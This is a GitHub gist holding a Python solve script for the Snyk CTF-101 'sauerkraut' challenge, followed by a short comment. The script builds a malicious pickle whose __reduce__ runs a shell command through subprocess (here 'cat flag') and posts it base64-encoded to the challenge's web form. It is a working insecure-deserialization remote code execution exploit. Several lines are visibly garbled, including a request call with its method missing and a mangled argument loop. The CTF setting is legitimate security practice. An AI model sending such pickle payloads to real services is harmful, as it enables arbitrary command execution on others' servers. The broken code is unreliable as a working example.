Skip to content

Instantly share code, notes, and snippets.

Created March 31, 2023 04:27
Show Gist options
  • Save pythoninthegrass/c93158660e493625e4f8cd78e099c876 to your computer and use it in GitHub Desktop.
Save pythoninthegrass/c93158660e493625e4f8cd78e099c876 to your computer and use it in GitHub Desktop.
Snyk CTF-101: sauerkraut
#!/usr/bin/env python3
# fmt: off
import asyncio
import atexit
import base64
import pickle
import subprocess
import sys
import requests
import requests_cache
from decouple import config
from icecream import ic
from playwright.async_api import async_playwright
# fmt: on
# verbose icecream
# cache requests
requests_cache.install_cache("sauerkraut_cache", backend="sqlite", expire_after=300)
URL = config("URL", default="")
class RCE:
def __reduce__(self):
if len(sys.argv) > 1:
args = []
for i in range(1, len(sys.argv)):
cmd = (args)
cmd = ("cat", "flag")
return subprocess.check_output, (cmd,)
async def run(playwright, text: str, url: str = URL) -> None:
use playwright to get the flag
poc: requests is a lot faster than playwright
browser = await playwright.webkit.launch(headless=True)
context = await browser.new_context()
page = await context.new_page()
await page.goto(url)
await page.get_by_text("Enter text here...").click()
await page.get_by_text("Enter text here...").click(click_count=3)
await page.get_by_text("Enter text here...").fill(text)
await page.get_by_role("button", name="submit").click()
print(await page.content())
await context.close()
await browser.close()
def get_flag(text: str, url: str = URL) -> None:
"""use requests to get the flag"""
r =, data={"text": text})
return print(r.text)
def clear_cache():
"""clear cache on exit"""
print("Cleared requests cache!")
async def main():
pickled = pickle.dumps(RCE())
decoded = base64.urlsafe_b64encode(pickled).decode("utf-8")
# async with async_playwright() as playwright:
# await run(playwright, decoded)
if __name__ == '__main__':
Copy link

SnykCon CTF - Sauerkraut - Python Pickle Vulnerabilities - YouTube was honestly more helpful than the live demo.

The subprocess splitting on args and needing to be cast as a tuple really threw me off 😅

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment